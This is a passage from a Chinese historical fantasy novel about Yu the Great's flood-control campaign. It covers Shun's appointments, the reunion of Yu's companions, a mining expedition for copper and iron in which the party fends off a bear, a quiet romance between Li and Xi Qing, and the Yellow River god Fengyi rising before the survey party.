南岳与北岳代表亦同时躬身:“臣等谨遵帝命,必使王畿如臂使指,诸部同心,共襄治水伟业!” 他们深知,自己虽不亲赴险地,但维系这条漫长后勤命脉的重担,同样关乎治水大业的成败。 舜微微颔首,目光随即转向伯益。这位三十一岁的虞官站在旁侧,眼尾微扬仍带着些许少年气,手指却不自觉摩挲着腰间系着的兽骨哨。他总爱追着蝴蝶跑半座山,蹲在溪边看鱼群摆尾能看一下午,朝臣常笑他“玩物丧志”,却不知他那些看似闲散的追逐与凝望里,早已悄悄记下了蝴蝶振翅的风向规律、鱼群摆尾的水流密码,待到山险水阻之际,这些从天地万物中读来的细碎智慧,总能帮他勘破迷局、寻得生机。 “伯益!” 舜的目光锁定这位年轻的虞官,“尔掌虞泽,通鸟兽之语,晓地理之变!命尔为禹之佐,统领山川勘测!山川鸟兽,皆为尔助!凡天地异象、珍奇物产、地脉走向,皆需详录!” 伯益眼中闪过一丝属于他本性的雀跃,随即迅速敛了神色,躬身时腰背挺得笔直,那份天真里已悄然添了几分沉甸甸的担当:“臣,领命!必不负帝望,不负山川所托!” 接着,舜的视线落在了四岳推荐的岳卫营率岳盾身上。他四十三岁的年纪,腰杆挺得如松,眼神锐利如鹰,颔下短须间还藏着一道陈年刀疤。他十七岁从军,大小战役亲历百余场,夜里宿营,风吹草动都能让他瞬间惊醒——这双看透生死的眼睛,此刻正凝着不容有失的坚定。 “岳卫,护卫之责,重于泰山!”舜的声音带着不容置疑的力量。 岳盾应声出列,甲胄轻响,声如金石:“盾,在!” “前哨警戒与伯益协同,营地守卫轮值务必森严!押运重要物资,须得万无一失!凡遇险阻、凶兽、宵小,汝等即为锋刃,亦为坚盾!” “谨遵帝命!”岳盾的回答简短有力,“岳卫在,阵线在!” 这不仅仅是一句承诺,更是他与麾下战士以生命立下的誓言。 就在此时,殿外再次通传! “报——!先历正羲仲之女羲青、先司空鲧旧部砺,殿外求见!言明愿辅佐司空禹,共治水患!” 舜眼中闪过一丝了然与赞许:“宣!” 殿门再开。素衣斗篷、背负藤箱、气质沉静的羲青(二十岁),与魁梧刚毅、背负“千钧破”巨斧的砺(二十二岁),并肩而入!三年的风霜洗礼,让他们褪去了少年的青涩,增添了沉稳与力量,但眼中的执着从未改变。 羲青深揖:“羲青,承父遗志,遍历山川三载,愿司天象地理,绘尽山川,录水脉之变,愿佐司空治水!” 砺单膝跪地,声如洪钟:“砺!三年来走遍四方,习百工,精疏导,擅开山架桥!愿助司空,抚四方,安黎庶!此身此命,尽付治水!” 舜颔首,威严的声音响彻大殿:“善! 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砺大步上前,重重一拳捶在禹的肩上,就像少年时那样:“好你个禹!不,现在该称你为司空大人了!”他咧嘴一笑,露出洁白的牙齿,眼中却闪着真诚的光芒,“我说过,三年后一定回来!我这条命是鲧父给的,治水这事,我岂能袖手旁观!” 禹摇头轻笑:“在你们面前,永远是禹。” 这时,砺转向一旁的羲青,目光不由自主地柔和下来:“青儿……” “砺……”羲青的眼眶微微发红,她一只手按在腰间悬挂的那支三年前砺送给她的骨笛上。这三年中,每当她夜观星象、独行荒野时,看到它,就想起砺那火热的目光。她转头看向禹,清丽的脸上漾开温暖的笑容:“禹,我这三年走过了很多地方,记录了很多水系地脉,今日终于能将这些交予你了。”她拍了拍身后的藤箱,眼中满是期待。 就在这时,一直等候在旁的阿牛和芦花相视一笑,快步走上前来。 “禹哥!哦不,司空,砺哥和青姑娘这一回来,”阿牛洪亮的嗓音里满是发自内心的喜悦,他伸出那双因常年与禹一同劳作而布满厚茧的大手,目光热切地望向砺和羲青,“咱们五个,总算又凑齐了!” 芦花也将他那柄标志性的开山锤往地上一顿,眼中闪着激动而温暖的光:“是啊!盼了三年,就等这一天!羽渊边的约定,咱们谁也没忘!” 禹看着这两位三年来与自己日夕相处、患难与共的伙伴,又望向历经风霜、各自远行归来的砺和羲青,心中感慨万千,笑道:“阿牛,芦花,这三年辛苦你们一直在我身边。如今砺和青儿也回来了,就像远行的家人归家,我们五人,终得团圆!” 五人相视,无数的回忆与感慨在目光中交汇,仿佛瞬间又回到了那个洪水咆哮的羽渊畔,回到了那个以青春和热血立下誓约的黄昏。 禹的目光缓缓扫过每一张熟悉的面容,沉声道:“前路艰险。” 砺率先将大手覆盖在阿牛的手上:“生死与共!” 羲青的手轻轻叠上,触碰到砺温暖的手背:“同心协力!” 芦花哈哈一笑,将手重重压上:“这回可不能再分开了!” 最后,禹的手稳稳地覆盖在最上方,将四人的手紧紧握住:“不负苍生!” 五双手紧紧交叠,比三年前更加有力,更加坚定。阳光将他们的身影投射在蒲阪宫前的广场上,仿佛一个崭新的开始。 宫门外,弃的两名属下——仓实和百草,正等候着。仓实十八岁,全家丧生于洪水。仓实对数字有着天生的敏感。此前弃任农正,掌天下农耕之事,既要督管各地粮产、核算仓储,又要调配种子、农具至农户,还需记录历年收成盈亏以备灾荒,这些繁杂的计数统筹之务,正需仓实这般心思缜密、善算能记之人打理,故弃早将他收为属下,让其专司粮帐与物资统计。百草十七岁,是弃的女儿,对植物天生敏锐、辨识力远超常人;弃任农正掌农耕诸事,常需辨识农作良种、甄别田间草药以护作物,正需女儿这般植物天赋助力,故一直将她带在身边协助处理农事。今日一早弃被召入宫,仓实和百草都想知道此番有何差事,便候在宫外。 弃出来时,仓实正和百草数着一片树叶的纹路。见了弃,仓实当即抛开手中树叶,问道:“农正,什么事呀?” 弃笑道:“今日,我们要编入司空的平水土之师了!” 禹微笑着看着仓实和百草道:“欢迎加入!只是,这平水土之旅,注定艰险异常。” 仓实和百草异口同声应道:“我们不怕!” 旁侧,一支沉默而剽悍的队伍已静候多时。这正是由四岳推荐的二十名精锐战士组成的“岳卫”。他们几乎人人的左臂上都挽着一面大小不一的木盾(或藤盾),有的同样背在身后。他们手中的武器多是磨尖了锋口的木石长矛、沉重的石斧、强韧的筋角弓,皮甲陈旧却结实,浑身散发着百战余生才有的凝练气息。见营率岳盾出来,众人立即整肃,齐呼:“岳率!” 岳盾向岳卫锐士微微示意。他身形稳如山岳,一面巨大的、边缘包裹着铜皮的原木盾牌并非背在背上,而是用一条皮索斜挎在左肩,盾面自然垂于身后,这样既不妨碍行动,又能随时卸到手中进行格挡。他右手习惯性地按在腰间一柄古朴的青铜短剑柄上。 岳盾向禹抱拳施礼,声音低沉而清晰:“司空,岳盾率岳卫锐士,愿随司空劈波斩浪,平定水患!” 他侧身,目光扫过自己的部下,虽未多言,但那份信任与威严已不言而喻。 禹的目光逐一扫过这些即将与他共赴艰险的战士们,看到他们身上那些象征着不同部族与经历的痕迹——不同的发式、身上的彩绘、武器上的图腾,他郑重颔首:“有劳岳率,有劳诸位勇士!前路艰险,禹,拜托诸位了!” 5. 第5章:大河溯源 禹率领平水土之师离开蒲阪,沿黄河东行,直奔壶口险隘。他深知,欲治天下水患,必先疏浚黄河主干,此乃治水之根本。 黄河之水浑浊汹涌,裹挟着大量泥沙,奔腾咆哮。两岸土地被冲刷崩塌,河道淤塞严重,多处形成悬河,随时有决堤之险。沿途所见,尽是水患肆虐后的惨状:村庄被淹,良田成泽,百姓流离失所。 禹令队伍在黄河一处地势较高处扎营。是夜,禹、砺、羲青、伯益、皋陶、后稷、岳盾等核心成员聚在禹的营帐里,就着火炬,商议策略。禹将父亲的《鲧工记》、羲青的《水经》与伏羲玉简并排展开,像把天地间的水脉密码全拢在了此处。 “诸位请看,”禹手指划过玉简上的昆仑山形,“伏羲玉简标注昆仑为万山之祖,众水之源。”他又指向《水经》中羲青绘制的黄河水道图,“青儿记录的黄河自西而来,经积石山后水量大增。” 羲青点头,取出一片特别标记的兽骨:“我沿河采录民间传闻,皆言黄河乃昆仑神泉化龙,穿行地脉八百里,至积石山方显龙形。” 伯益俯身细看图卷,眼中闪着兴奋的光芒:“司空,明日我愿率精通草木之术的候人先行探路。我可驱使飞鹰侦察,标记安全路径和泉眼位置,为大军西进积石山做好准备。” 砺摩挲着腰间的斧柄,声音沉稳有力:“我带工匠伐木制标,沿河道险要处钉立木桩,划定疏导界线。还需建造更多木筏,以供水路勘察之需。” 皋陶神色凝重地补充:“千里丈量非旦夕可成。当前首要之事是核验辎重——既要备足勘察所需的干粮饮水,更需预留三万石粟米赈济沿岸流民。治水大业,不可因粮草短缺而功亏一篑。” 弃紧接着说道:“士师所言极是。如今正值秋收,黄河泛滥区仍有部分粟穗可收。我们西行前当协助百姓抢收,既可储备新粮,又能安定民心。” 岳盾踏步上前,声如洪钟:“某愿亲率两百精锐护卫勘察队伍。河源之地多苍狼猛兽,更有狄戎部落散居其间。某将安排候人开道、殿军断后,确保诸位能够安心勘测水脉。” 禹目光扫过每一位同伴,最终重重拍在案上:“善!就这么定下。明日开始,我们要穷尽黄河水脉,直溯其源!伯益前导,砺定标,青儿测绘,士师与农正保障后勤,岳率护卫安全。各司其职,同心协力!” 会议结束后,夜深人静,大部分营帐已熄了灯火。羲青坐在她那顶简陋帐篷外的一块大石上,就着篝火的余烬光亮,在膝上的兽骨上补充日间勘察的细节。墨玉星盘放在身侧,在夜色中散发着微弱的幽光。 一阵刻意放轻却异常熟悉的脚步声停在身后。羲青的心猛地一跳,刻刀顿住。 砺魁梧的身影笼罩了她,带着一身汗水和泥土的气息,还有白日开山伐木的凛冽。他沉默地挪到她身边的大石旁,隔着半臂的距离坐下,近得能听见彼此的呼吸,却又刻意保持着分寸。 长久的静默,只有篝火余烬偶尔的噼啪声和远处黄河的呜咽。三年的分离,千言万语堵在胸口,竟不知从何说起。他几次想抬手,又悄悄蜷了蜷手指,最终只是盯着跳动的火星。 “青儿……”砺终于开口,声音低沉沙哑,带着一种小心翼翼的试探,“你……还好吗?” 羲青缓缓转过头。篝火的微光映照着她清丽却染上风霜的侧脸,眼中似有星光闪烁,又似蒙着一层水雾。她望着他,停顿了片刻,才轻声回应:“嗯,还好。你呢?这些年……” “我也还好。”砺打断她,声音里带着点不自然的紧绷,像是怕她追问下去,又像是怕自己忍不住多说,“四处走,没敢停。” 目光在昏暗中轻轻触碰,又各自移开。砺眼中的思念、担忧、漂泊的艰辛、重逢的怔忪,像被一层薄冰裹着的暗流,不敢太过汹涌。羲青垂着眼,长长的睫毛在眼下投出淡淡的影,声音轻得像风拂过草叶:“我知道。我听说过一些你的踪迹。” “是吗?”砺笑了笑,“我总想着……或许能遇上你。” “我也是。”羲青抬起头,这次目光没再闪躲,只是静静地看着他,“没想到,会在这里。” 又是一阵沉默。黄河的呜咽似乎更清晰了些,篝火余烬的光忽明忽暗,照着两人之间那半臂的距离,不远,却像隔着三年的风霜,一时不知该如何迈过去。 次日清晨,平水土之师依照昨夜议定的方略,开始了对黄河的全面勘察。 伯益率先出发,带领精通草木之术的候人探路。他驱使驯养的飞鹰翱翔天际,将黄河走势尽收眼底。这些猛禽不时返回伯益肩头,以特殊的鸣叫和姿态向他传达所见。伯益依据这些信息,仔细标记出能够扎营、取水的地点,为后续队伍西进积石山做好准备。 羲青登上一处高地,展开星盘定位测量。墨玉星盘在黄河水气的浸润下焕发出新的生机,其上的纹路流转加速,指引着她标注出关键点位。她用青铜小刀在兽骨上精心刻画,不仅记录山川脉络与河道走向,还详细描绘沿途所见的人文风情、部落分布和神话传说。 砺率工匠队伍沿河岸险要处作业。他们伐木制标,在可能疏导的路径上钉立木桩,划定明确的界线。同时加紧建造更多木筏,以备水路勘察之需。砺亲自监督每一处标杆的安置,确保其牢固可靠。 弃则忙于营地管理和粮草调配。他组织人手试种耐涝作物,同时清点辎重,确保勘察队伍有充足的干粮饮水。按照昨夜商议,他还预留出三万石粟米,用于赈济沿岸流民。 皋陶立石碑刻营规,肃正法纪。他特别注重维护与沿岸部落的关系,避免治水工程引发不必要的冲突。同时监督粮草分配,确保公平合理。 岳盾率领岳卫锐士执行护卫任务。他安排候人前导侦查,殿军断后护卫,主力则环护勘察队伍。在险要地段,他还设置岗哨,确保勘察工作安全进行。 禹亲率一队人马,乘筏入黄河进行水路勘察。河水湍急,浊浪滔天,筏子在波涛中起伏不定。禹手持神农石耜立于筏首,感受着水流韵律。怀中玉匣内的颛顼玄圭微微震动,与奔腾的河水产生奇异共鸣。 连日的勘察让禹眉头紧锁。黄河泥沙淤积之严重超乎想象,河床已高出两岸平原,形成“悬河”。单纯疏导已难见效,必须开凿新河道,分流减势。 然而现有工具难以胜任如此艰巨工程。石斧木耒对付普通土石尚可,若要开凿山岩,则力有未逮。 禹召来砺商议:“黄河之险,非寻常石器可治。我们需要更锋利的工具来开凿山石,更坚固的材料来加固堤岸。” 砺沉声道:“确如司空所言。我观察多日,黄河多处瓶颈需破山开路。现有工具难当此任。” 禹展开羲青绘制的《水经》,手指精准地点在涹山与橿谷的位置。 “疏导江河,非徒手可为。开山裂石,需锋锐之刃。”禹的声音沉着而肯定,“多亏了青儿三年来跋山涉水、精心绘制的这些图卷。” 禹的手指重点划过兽骨上羲青画的矿脉图:“山阳多赤铜,色泽深沉似血;山阴岩层中铁纹隐现。”他抬起头,看向众人,“这些记载,与伯益观察到的该地草木特性、鸟兽踪迹,以及我早年游历时的见闻相互印证。涹山出赤铜,其山阴产铁;橿谷亦出赤铜。此乃天赐疏浚之材!” 禹估算了一下距离:“涹山与橿谷距此约三百里,往返需二十余日。砺——” “在!”砺踏步上前。 “命你精选熟知矿脉的匠人,务必将阿牛一并纳入;另择选部分岳卫精锐,由石牛统领,令其备足粮秣,明日即向西北启程!寻访涹山、橿谷二地,开采铜铁矿砂后妥为装运,速速运回,不得有误!” “诺!必不辱命!”砺目光灼灼,这正是他等待的时刻。 “弃,保障远征队粮草辎重!皋陶,沿途部落若有阻挠,依律协调,务必畅通!”禹的命令果断而周密。 砺的远征队像一支出鞘的利剑,次日便消失在西北的群山之中。 西北群山如巨兽伏卧,苍莽林海遮天蔽日。砺率数十名匠人、几名岳卫锐士乘马车跋涉五日,终于在第七日清晨嗅到了空气中弥漫的特殊气息 —— 那是湿润泥土里混着的金属腥甜,像藏在山骨里的秘密,正顺着晨风飘来。 “停下。” 砺勒住马车缰绳,目光扫过前方云雾缭绕的山梁。那山便是涹山,崖壁裸露处泛着暗沉的铁色,像巨人结痂的旧伤。他翻身落地,指腹搓了搓地上的碎石,指尖立刻沾了层黑褐色粉末,“是铁矿。阿牛,过来看看。” 阿牛扛着那柄比他人还高的开山锤,“噔噔” 跑过来,一把手攥住碎石,用力一捏,粉末簌簌落下。他憨笑着挠头道:“工正,这石头硬得很,我上次在石纽村凿过类似的,得用大劲才敲得开。” 砺点头,转身看向石牛。石牛正将木盾斜挎在背,手中的石锤往地上一顿,沉闷的声响惊飞了枝头的山雀:“工正,岳卫听令。” 跟在他身后的三个岳卫也立刻站直 —— 炎羽攥着投石索,鸣镝背着筋角弓,长河扛着木盾。长河瓮声瓮气地补充:“工正,俺们几个力气大,搬运矿石的活也包了!” “好。” 砺从怀中取出伯益绘制的简易舆图,放在青石上,“石牛,你带鸣镝、长河守住山口,白日轮班警戒,尤其留意西北坡 —— 伯益言那处林密,恐有熊罴出没。炎羽,你沿山梁侦察,每隔一个时辰用鹰骨笛报次平安,若遇异常,即刻回撤。” “诺!” 几人齐声应下,炎羽率先窜进树林,身影灵活得像只猴子,转眼就只剩枝叶晃动的声响。鸣镝则默默攀上一棵高树,弓弦搭着石镞,目光如鹰隼般锁定了山林各处。石牛与长河则在山口垒起石块,搭了个简易哨台,巨盾斜倚在旁,随时能起身御敌。 这边匠人已开始忙碌。有人用石斧砍伐附近的枯木,有人用藤条编织筐篮,阿牛则抡起开山锤,朝着一块裸露的铁矿岩砸去。“咚!” 巨锤撞上岩石,火星四溅,可那铁矿岩只裂开一道细缝,阿牛却震得虎口发麻,他皱着眉揉了揉手,又要挥锤。 “阿牛,停。” 砺走过来,按住他的锤柄。“蛮力虽能破石,却耗力费时。你忘了司空在石纽村教过的法子?” 阿牛一愣,随即拍了下脑门,憨厚的脸上露出愧色:“我咋忘了!火烧水激!工正,我这就去捡柴!” 说着就丢下锤,跑去帮匠人抱枯木。砺看着他风风火火的背影,眼底掠过一丝暖意 —— 这后生虽憨,却认学,也重情义,难怪禹会把他带在身边。 匠人们很快在铁矿岩下堆起柴堆,火镰敲击燧石,火星落在干燥的松针上,很快燃起熊熊火焰。阿牛蹲在火堆旁添柴,脸被火烤得通红,时不时往岩上浇一瓢山泉水,“滋啦” 一声,白雾蒸腾,岩石表面的裂纹渐渐变宽。待火势弱了,阿牛再次抡起开山锤,这次只用了三成力,“咔嚓” 一声,铁矿岩就裂成了几块,露出里面黝黑发亮的铁矿砂。 “成了!” 阿牛兴奋地举起一块矿石,像举着战利品,“工正,你看!这铁矿砂真黑,能铸出好工具不?” “能。” 砺接过矿石,放在阳光下细看,矿石断面泛着金属光泽,“涹山铁矿质密,铸出的工具定够坚韧。等去了橿谷,采得赤铜,掺进铁里,刃口会更锋利。” 阿牛似懂非懂地点头,又埋头凿石去了。锤起锤落间,一块块铁矿石被凿下来,匠人用石臼捣碎,再用竹筛筛选出细矿砂,装进水浸过的藤筐里 —— 这般既能防矿砂漏撒,又能让水分吸附杂质,方便后续熔炼。可没过多久,匠人们便有些吃力:藤筐装满矿石后沉得很,两人抬着都费劲,运输速度渐渐慢了下来。 树林外突然响起哗啦哗啦的树枝声,还有蹄子咚咚砸地的动静。飞猿这小子居然骑在一头大野牛背上晃悠着过来,其他十几头牛驮着木头零件乖乖跟在后头。他用藤条当缰绳猛扯牛角,牛群呼啦啦刹住蹄子,木头车架被震得咯吱响。 飞猿抹了把脸上的汗,一巴掌拍在牛脖子上喊:“工正!虞官说你们搬石头太费劲,特训了这群牛拉车!别看它们憨头憨脑,套上木车轱辘能顶二十个壮汉!” 砺眼中一亮,走上前拍了拍飞猿的肩膀:“来得正好。你且帮着匠人组装独轮车,往后矿石便靠野牛拉运。” “得嘞!” 飞猿手脚麻利,很快和匠人一起拆开牛背上的部件,用藤条将木轮、车架绑牢。不多时,十辆独轮车便组装好了。长河和土根(土根被安排负责后勤)试着将装满矿砂的藤筐搬上车,野牛轻轻一拉便动了,速度比人抬快了不少。阿牛看得新奇,凑过去摸了摸野牛的耳朵,惹得野牛甩了甩尾巴,他嘿嘿直笑:“这牛真听话,比我扛着省力多了!” 傍晚时分,突然传来一声尖锐的鹰骨笛鸣 —— 是鸣镝的示警信号!砺立刻抄起 “千钧破” 巨斧,石牛也瞬间举起木盾,长河握着石斧挡在匠人前面。只见鸣镝从树上跃下,落地时顺势滚了一圈,指着西北方向:“工正,有熊!大概两丈外,正朝这边来!” 话音刚落,树林里就传来沉重的脚步声,伴着树枝断裂的 “咔嚓” 声。一只黑棕色的黑熊从树后走出,足有一人高,胸前的白毛沾着泥土,一双小眼睛恶狠狠地盯着工棚,嘴里淌着涎水 —— 想来是被火堆的气味吸引来的。 野牛群最先有了反应:它们本在棚边啃草,闻见熊的气息、听见沉重的脚步声,顿时开始躁动,有的刨着地面,有的甩着尾巴,发出低沉的哼叫,几头胆小的甚至想往树林里冲。飞猿一看急了,这野牛要是乱冲,要么撞乱匠人阵型,要么把黑熊引去别处生乱,他立刻抄起身边赶牛用的藤鞭,几步窜到野牛群前,压低声音吆喝:“莫慌!莫慌!跟我来!” 他知道之前采矿的凹地有匠人垒的石障,既能挡住野牛乱跑,又离熊的方向远,是临时避险的好地方。只见他一边用藤鞭轻轻拍打最外侧那头野牛的屁股,一边绕到牛群后方,慢慢将它们往凹地方向引。怕声音惊动黑熊,他不敢大声,只靠手势和低喝安抚:“稳着走!前头有石墙挡着,安全!” 野牛虽仍有些不安,但被飞猿引着,渐渐平静下来,顺着他指的方向,迈着沉重的步子往采矿凹地挪去。待最后一头野牛进了凹地,飞猿还顺手搬了块巨石挡在入口,防止它们受惊跑出来,这才转身抄起腰间的砍刀,往砺那边赶去。 “炎羽,投石索打它眼睛!” 砺大喝一声。炎羽立刻摸出三枚磨尖的石弹,甩动投石索,“咻” 的一声,石弹直奔黑熊眼眶。黑熊吃痛,发出一声咆哮,挥着爪子拍向炎羽。 “小心!” 石牛跨步上前,巨盾 “嘭” 的一声挡住熊掌,盾牌上立刻留下几道深深的爪痕。长河趁机绕到黑熊侧面,石斧狠狠劈向它的后腿,黑熊吃痛倒地,又挣扎着爬起来,转身想逃。飞猿此时也冲了过来,举着砍刀想往黑熊后腿补一下,却被砺抬手拦住:“不必追!赶跑即可,别逼急了伤着人!” 黑熊趁机钻进树林,转眼便没了踪影。炎羽按着胸口喘气,脸上却带着兴奋:“好险!这熊真凶,我的石弹若偏了些,今日怕是要遭殃!” 飞猿也擦了把汗:“多亏那些牛还算听话,没乱跑,不然可麻烦了! 石牛检查了下盾上的爪痕,沉声道:“明日俺带两个兄弟去山后探探,把它的窝端了,免得再来捣乱。” 砺点头:“也好。鸣镝跟你去,他眼神好,能提前发现动静。夜里轮流值哨,别大意。飞猿,你多留意野牛群,夜里给它们添些草料,别让它们受了惊。” “放心吧工正!” 飞猿应道。 当晚,工棚里燃起篝火,匠人们围坐在一起,土根煮了一锅野菜汤,还拿出随身携带的祝余草饼分给大家。阿牛捧着汤碗,喝得热气腾腾,看向砺:“工正,我今天听匠人说,橿谷的铜矿是绿色的,真的吗?” “嗯。” 砺撕下一块祝余草饼,慢慢嚼着,“橿谷的铜矿藏在湿润的崖壁里,表面会结一层绿锈,当地人叫‘铜青’。不过那里的矿脉在山腰,得搭木架才能采,到时候还得靠你力气大,帮忙扛木头。” “没问题!” 阿牛拍着胸脯,“俺有的是力气,只要能帮司空治水,干啥都行!” 砺看着他真诚的样子,想起十九年前的自己 —— 那时他还跟着鲧伯治水,也是这样一腔热血,只盼着能平息水患。如今鲧伯不在了,他能帮鲧伯的儿子继续这份事业,也算不负当年鲧伯的庇护之恩。 三日后,涹山的铁矿采得差不多了,砺率队前往橿谷。橿谷比涹山更潮湿,山间弥漫着雾气,崖壁上长满了青苔,偶尔能看到一片片绿色的铜锈,像撒在山壁上的翡翠。这里的树木更粗壮,匠人需要用火烧法才能砍倒。阿牛主动承担了扛木头的活,一根碗口粗的原木,他扛在肩上健步如飞,匠人们都忍不住称赞:“阿牛,你这力气,真是天生的开山好手!” 搭建木架时,出了点小意外 —— 一根横梁没放稳,眼看就要砸向正在下方整理矿砂的老匠人。阿牛眼疾手快,冲过去一把托住横梁,稳稳放在木架上。老匠人吓得脸色发白,连声道谢,阿牛却挠着头笑:“没事,我力气大,这点不算啥。” 砺走过来,拍了拍他的肩膀:“阿牛,好身手。下次搭架时,你多盯着点,有不稳的地方及时告知。” “记住了,工正!” 阿牛用力点头。 采铜矿比采铁矿更费力,铜矿石比铁矿石更坚硬,需要反复火烧水激,还要用细凿一点点抠出矿砂。石牛带着岳卫在谷口警戒,偶尔也过来帮忙搬石头,总把重活往自己身上揽。鸣镝发现谷中有一处山泉,水质清甜,便每天清晨去打水,分给大家饮用。炎羽则在谷外的树上搭了个哨台,居高临下观察动静,再也没遇到过野兽。飞猿每日除了帮着搬运,便是照看野牛,还编了些藤栏围在牛群四周,免得它们夜里乱走。 又过了五日,两队矿砂都已装满。砺清点了物资:涹山的铁矿砂装了十二车,橿谷的铜矿砂装了八车,足够第一批青铜工具的锻造。他看着忙碌的众人,朗声道:“明日启程返回主营!大家今日好好休息,养足精神!” 夜里,阿牛坐在篝火旁,看着堆得像小山似的矿车,小声问砺:“工正,这些矿石运回去,就能铸出开山的工具了吧?到时候司空就能疏导汾水了?” “嗯。” 砺望着营外的星空,眼神坚定,“有了这些,再加上大家的力气,定能劈开阻碍。阿牛,你记住,治水不是一人一事之功,是靠咱们所有人齐心协力 —— 你敲下的每一块矿石,石牛守住的每一道山口,匠人们熬的每一个夜,飞猿照管的每一头牛,都是在为平息水患出力。” 阿牛似懂非懂地点头,把砺的话记在心里。他看着篝火映在砺脸上的光影,忽然觉得,这位沉默寡言的大哥,和禹哥一样,都是能让人安心的人。 次日清晨,队伍整束启程。砺登上来时乘坐的马车,车厢里叠放着伯益的舆图与简易干粮,车轮轱辘碾过昨日留下的车辙,平稳地行在队伍最前 —— 他需居中调度,也得借着这段路梳理后续熔炼的章程。 马车后,是飞猿照看的野牛群:十数头野牛分作两列,前列四头各拉一辆独轮车,车上矿砂堆得齐整,藤筐边缘还垫着干草防漏;后列几头则驮着体力稍弱的匠人,匠人们或坐或靠在牛背的软垫上,手里还攥着未编完的藤绳,偶尔与身旁随行的同伴说笑两句。飞猿牵着领头野牛的鼻绳,时不时用藤鞭轻拍牛臀,嘴里哼着不知名的短调。 阿牛依旧扛着他的开山锤,走在野牛车队侧旁。每逢路面稍有坡度,他便伸手推一把独轮车的车把,宽厚的肩膀顶在车辕上,轻松将重量扛住。 岳卫锐士则分作两处警戒:鸣镝背着筋角弓,走在队伍前方侧沿;石牛、长河、炎羽则殿后,石牛的木盾斜挎在背,长河握着木矛,炎羽攥着投石索,三人呈三角站位,既防着后方的异动,也能照看两侧的匠人。 整支队伍踩着晨光前行,蹄声、车轮声、匠人的低语与飞猿的短调交织在一起,不似来时那般紧绷,却多了份 “载宝而归” 的踏实 —— 这些从涹山、橿谷采来的金属,正随着这支队伍,朝着治水主营的方向挪动,终将在匠人的火与锤下,化为劈开洪荒的利刃,为天下苍生理出一条安澜的坦途。 在等待砺归来的日子里,禹继续率队勘察黄河。他依据地形标记水道,选择关键的山脊或谷地,砍树或立木桩作为基准点,形成导引线,帮助确定泄洪路径或开挖方向。 这日,禹率伯益、羲青等一行人,乘筏测量黄河水文。河水异常湍急,漩涡暗流丛生,测量工作进行得十分艰难。 羲青有点分神。在砺离开的这段日子里,羲青才更清晰地意识到自己对他那份深藏心底的情感,如同被春水浸润的种子,不可抑制地破土萌发。白日里,她专注于测绘山川、辨识水脉,星盘的微光与刻刀的沙沙声填满了每一寸光阴。可每当暮色四合,营地篝火燃起,那魁梧刚毅的身影便会悄然浮现在她脑海。 她时常忆起三年前的羽渊之别。那时她决意独自踏勘八荒九泽,勘透星盘终极之秘,绘成《水经》,方可告慰父亲在天之灵,完成崇伯鲧的托付。她以为分离只是短暂,前路自有重逢之期。殊不知,这一别,竟是三载。而她绘就的《水经》,终究未能尽现水脉真形。 独行的岁月里,她踏过荒原,攀越雪岭,深入不毛之地。多少次在猛兽环伺中死里逃生,于瘴疠弥漫之地高烧濒危,又或是在部落冲突的刀光箭影间艰难周旋。那些孤身面对浩瀚星野与狰狞自然的夜晚,寒冷与恐惧蚀骨穿心。她蜷缩在简陋的栖身之所,紧抱着父亲留下的星盘,那冰凉的触感却无法给她丝毫慰藉。那时,她无比渴望一双坚实的手臂能为她挡风遮雨,一个温暖的胸膛能让她暂避风霜。而脑海中浮现的,永远是砺那双沉静而炽热的眼睛。 她也曾遇到其他男子。有部落勇士倾慕她的智慧与风霜洗礼后独特的清韧,献上猎得的珍禽异兽;有隐世巫祝的弟子钦羡她执掌星盘的能力,愿与她结伴参详天地奥秘。其中不乏真诚优秀者。然而,她的心扉却早已被一个身影牢牢占据,再容不下他人。那份少年时期便深种的情愫,历经岁月发酵,非但没有淡去,反而在无尽的思念与担忧中愈发醇厚浓烈。她甚至会没来由地担心,砺是否已在那动荡的岁月里娶妻生子,过上了平静的生活——若真如此,她当如何自处?这念头每每袭来,都让她心口闷痛难当。 如今,治水大业让他们重逢。第一眼见到那个从岁月风沙中走来的砺,她的心跳竟如少女时代般慌乱。他变了,更魁梧,更沉稳,眉宇间刻满了风霜痕迹,眼神却依旧如磐石般坚定,甚至比年少时更添了几分深邃与力量。而他看向她的那一瞬间,眼中无法完全掩藏的震动与灼热,让她清晰地感知到,横亘在两人之间的三年光阴,并未斩断那份最初的羁绊。 那夜篝火旁的短暂交谈,他小心翼翼的语气,欲言又止的神情,以及那保持着的半臂距离……都让她在夜深人静时反复回味,心底既酸楚又涌动着难言的暖意。他掌心的粗粝厚茧,偶尔掠过她视线的专注眼神,甚至他身上混合着汗水、泥土与金属气息的味道,都让她感到一种莫名的安心与悸动。多少个夜晚,她在营帐中辗转,回想的却是他低沉嗓音唤她“青儿”时的颤动,那声音直直撞入她心扉,带来一阵甜蜜的颤栗。 “哎,我这是怎么了?”羲青猛地收回飘远的思绪,深吸一口微凉的河风,试图压下脸颊的微热。她看了一眼筏头正与伯益专注讨论水势的禹,心中掠过一丝羞愧。重任在肩,洪水未平,苍生泣血,她岂能沉溺于私情? 突然,黄河之中出现异象!原本汹涌浑浊的河心处,波涛诡异地向两侧分开,一道澄澈的水柱托举着一位神人冉冉升起。这位神人面如白玉,须发皆银,目蕴金光,神情慈祥而庄重。他身形修长,上半身似睿智长者,下半身竟是覆盖苍青鳞片的巨大鱼尾!周身散发着古老而浩瀚的水灵气息。 这突如其来的神迹让整个勘察队瞬间寂静下来,所有人都被眼前景象震慑。 侧翼的岳盾反应最快,低吼一声“护卫!”,岳卫锐士瞬间结阵,将禹等人护在中心。长河、犀渠等重盾手立即上前,木盾顿地;山魈、阿土等射手则张弓搭箭,警惕地指向河心。 皋陶越众而出,站在禹侧前方,面色沉稳如水,虽未执兵刃,却已做好以身为盾、护持首领的准备,同时以目光示意众人保持镇定,莫要轻举妄动冒犯神祇。 伯益则从皋陶身后探出头,脸上写满了惊异与极度好奇,他仔细打量着河精的形态、鳞片光泽与水波的韵律,仿佛要将每一个细节刻入脑中,嘴里无意识地喃喃:“这莫非真是……” 而羲青,在最初的震惊后,迅速被那神祇周身流转的柔和灵光与难以言喻的水韵法则所吸引。她下意识地取出随身携带的星盘和空白兽骨,竟忘了恐惧,全神贯注地试图记录下那转瞬即逝的灵机轨迹。 那神人目光温润而深邃地落于禹身,缓缓开口,声音如深流暗涌,既古老又温和:“禹啊,我乃冯夷,曾是黄河畔一凡人。” 禹心中一凛,挥手示意岳卫收起兵器,独自上前一步,恭敬行礼:“晚辈禹,拜见河神。” 